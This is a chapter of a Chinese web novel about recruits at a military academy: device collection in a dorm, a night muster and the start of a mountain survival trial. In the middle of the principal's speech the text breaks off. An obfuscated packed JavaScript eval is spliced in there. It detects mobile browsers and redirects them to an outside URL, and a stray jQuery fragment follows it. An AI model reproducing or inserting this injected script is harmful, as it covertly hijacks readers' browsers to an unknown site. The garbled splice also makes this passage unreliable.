应如序挺身一跳到门口开门。
门外是一名穿着灰色制服的人,她手里拿着一只小型透明盒子,盒子里粘着不同的编号标签。
“楼长伍讳,来收光脑。”伍讳挑眉看向除一只鼓鼓囊囊袋子外,空无一物的一号床位,“挺好的,被子也不用叠了。”
“但建议你配个枕头,更舒服。”
她走进503,“J-00365,J-00002,J-00001,J-00007。”伍讳念着编号,牙开始发酸,“你们宿舍是人工排的吧,放我们这幢还挺……”
应如序已经脱下了自己的光脑。
它是一张贴合皮肤的小方片,脱落后才失去合成伪装的肤色,露出原本的银亮光泽。
她将光脑往盒子里一放,位置编号J-00001。
遂赫永朝应如序抛了个眼神,得到对方的“售卖许可”确认,她也干脆利落地走上前交光脑。
淬惺瞪着眼睛看她们,一只手摸着另一边的手腕不放。
等伍讳走到床前,对着2号床的栏杆不耐烦敲半天时,她撅起粉嘟嘟的大嘴(不是):“姐姐你晚点来收吧,我真的需要一个小时和它告别!就一个小时,好不好?”
伍讳懒得理,“不交就退学。”她转身,淬惺同时以迅雷不及掩耳之势取下光脑往盒子里放。
好险,但是好难过。淬惺流泪,泪滔滔不绝。
最后一个是,邓蛟。
伍讳转身走向她。
“有刀吗?”她问。
要刀干什么?寝室里的四人都对邓蛟的疑问感到疑惑。
没有人回答,看来是没有。
邓蛟默默叹口气。
果然便宜没好货,人家正经的光脑根本不用钻进肉里,像只寄生虫一样恶心。
她张开嘴对准手腕,白森森的尖牙“呲”一下破开皮肤,挖出一块肉。
邓蛟掏出长着蜘蛛腿的光脑,这些“腿”在离开血肉后自动收回身体,也算和其她人的光脑有相似之处吧。
“给你。”她伸出手掌,掌心处是沾着血的光脑。
伍讳没有动作,她僵住了。
邓蛟疑惑地歪了下头。
哦!她恍然大悟地擦干净光脑,再度伸出展示。
这样就不脏了吧!
没人能理解邓蛟的想法,事实上,她们现在只想报警。
没见过要挖肉取光脑的。剩余四人都幻痛地抱住手腕,尤其是喜欢半个月换新光脑的淬惺。
“你在哪买的这个…光脑?”遂赫永好奇地问。
邓蛟将它放进盒子的J-00365处,回道:“士驰杂货店。”
“杂…货…店?”遂赫永呆住。
应如序一卡一卡地笑:“卖光脑的杂货店。”说到这她脸有些扭曲,“还挺新奇的。”
淬惺想打给未成年人保护局,举报有人卖未成年人假冒伪劣产品。
伍讳在几人说话间,将联络器给四人安装好,抬脚离开了房间。
接下来是休息时间。
503寝室的人洗澡的洗澡,刷牙的刷牙,吃东西的吃东西。
邓蛟刷完牙后上床,她开始整理袋子——按住里面的馒头,将其压缩后放入衣物的每一个口袋,便携可取,随吃随拿。
渐渐地,夜色弥漫,宿舍城的灯一盏一盏熄灭。
呼吸声、鼾声、磨牙声……
邓蛟抱着袋子,哼唧哼唧睡的很香。
.
“哔——”
一声短促尖锐,循环出现以达到持续效果的哨声——
“哔哔哔——”
与“窸窸窣窣”,随之而来的风和布料摩擦的声音。
邓蛟睁开眼,套上鞋,看见其余床上的三人都一脸神采奕奕,不见一丝瞌睡意味。
她们利落跳床往外冲,“夜间突集!”应如序提醒邓蛟,但脚步丝毫未放缓。
跑到走廊往下看,是一大片灰色河流,里面偶尔多出一块杂乱的颜色。
跳的,跑的,一边打哈欠一边套裤子的……她们都奔向哨声的方向。
邓蛟落后太多。
她看向地面,掂量着楼层高度,手抓住栏杆往下蹦。
两层,两层,再瞄准人群空隙轻轻一跳,落地。
集合地点很好找,哨声的起源地,亮起一盏数十米高的恒星般的灯。
这里在宿舍后方,校园的边缘,再往里走就是辽阔无垠的山林。
邓蛟抵达站好,后面来的人自动分成了两波。
一波在她附近,各穿各的衣服散漫排开,一波穿着统一的灰色制服,自动形成几个方队。
“咔哒”,前方高台上站着两个人,其中一个按停了手中的计时器。
“你们—”,她指向对比之下秩序森严的老生队伍,“今天速度可以。跑二十圈解散!”
老生们成一道细流奔向体育场。
台上的人背着手,皱眉看向时不时有人加入的新生队伍。
“在宿舍的,路上的,都不用来了。你们的考核期结束了。”她的话很冷,冻的差两步即将进入队伍的人浑身发凉。
有人不甘心想偷溜进队伍。
“砰”
她被一颗不致命的子弹擦破脸颊。
“需要我,再说一遍吗?”台上的人举起枪,隐隐约约的白烟泛着冷气。
大家都噤声看向捂着脸倒地的那位倒楣蛋,没人再敢动弹,几十个半道上的人都停住偷摸划拉的脚步,灰溜溜地往回走。
至于这个点怎么从处于郊外的一军离开,没人敢问。
“我是霍活青,你们的校长。现在我想说,很高兴你们不是离开的那些蠢货。”霍活青的眼睛一片透绿。
“旁边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798087|174355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这位是你们的总教官。”站在她旁边穿军装的人对着新生们敬了个军礼。
“接下来三十天的考核期,你们由她负责。”在霍活青刺骨声线的对比下,一旁带着微笑的总教官似乎显得平易近人。
说完,霍活青就走了。
她走后,空地上的新生都松了口气,凝固的空气恢复了流动。
“大家好,我姓黎。”黎总教笑眯眯的,笑的新生们放松下了腰和背。
黎总教就像是一位好心劝人锻炼的健身教练:“既然大家都已经吃好睡好了,那么今天晚上大家就来后面的山上做做运动。”
“山上放了十万个物资包,里面可能有物资和徽章。大家做运动的三天期间,山林封锁,每隔6小时会在随机地点投放武器。三天后,有徽章的留下。”她笑着,“当然,你们如果想拥有多一个徽章做纪念,淘汰更多人,也是可以的。”
台下的不少新生皱起了脸。
十万只可能有勋章的物资包?要知道,一军这一届预录取的新生有二十万。而且二十万人舔十万只物资包,难道一个包顶两个人三天的量吗?
“接下来请各位到飞行坪乘坐运输机进山。注意,这三天若有任何紧急情况,拨通联络器。出来后你的考核期结束,但你保住了一条命。”黎总教走下台,尽职尽责告诉新生们注意事项。
有人心底颤巍不安。
但也有人在队伍里跃跃欲试。
邓蛟只庆幸自己在衣服的各个口袋里塞满了馒头。要知道,她不是一个幸运的人,相反,她很倒霉。
所以她做好抢人勋章和武器的准备了——邓蛟自觉找不到包也遇不到武器投放。
但是,三天时间不能去食堂!
邓蛟快要晕过去。
她好像明白了一个道理——当你有了进食的机会,千万不要矜持,更不要自诩身份厚不下脸皮,因为大部分的机会不是无限畅吃的开始,而是结束。
邓蛟掏出一张馒头片嚼嚼嚼。
大部队随着黎总教的脚步前往飞行坪,邓蛟走在队伍的中间,留恋地看向路边屹立着的食堂。
它二十四小时都开放着,此时是凌晨两点,窗子透出的光仍像不灭的白昼。仔细看,还能看见热腾腾的蒸汽糊住了窗户。
与之形成鲜明对比的是冰冷的飞行坪。
数千架运输机开启了引擎,机头的灯光闪烁,等待着她们上去然后跳山。
运输机的驾驶位都坐着穿军装的军人,她们大多呲啦个大牙轻松地躺在座位,而即将上运输机的新生大多苦着脸。
邓蛟从舱门上去,在运输机中央拿取降落伞穿戴。
“咔哒”,锁扣锁紧警示器发出绿光,一切就绪。
运输机缓慢升空,半开的舱门透进呼啸的山风。
邓蛟看向晚间绿的发黑的山林。
她准备好了。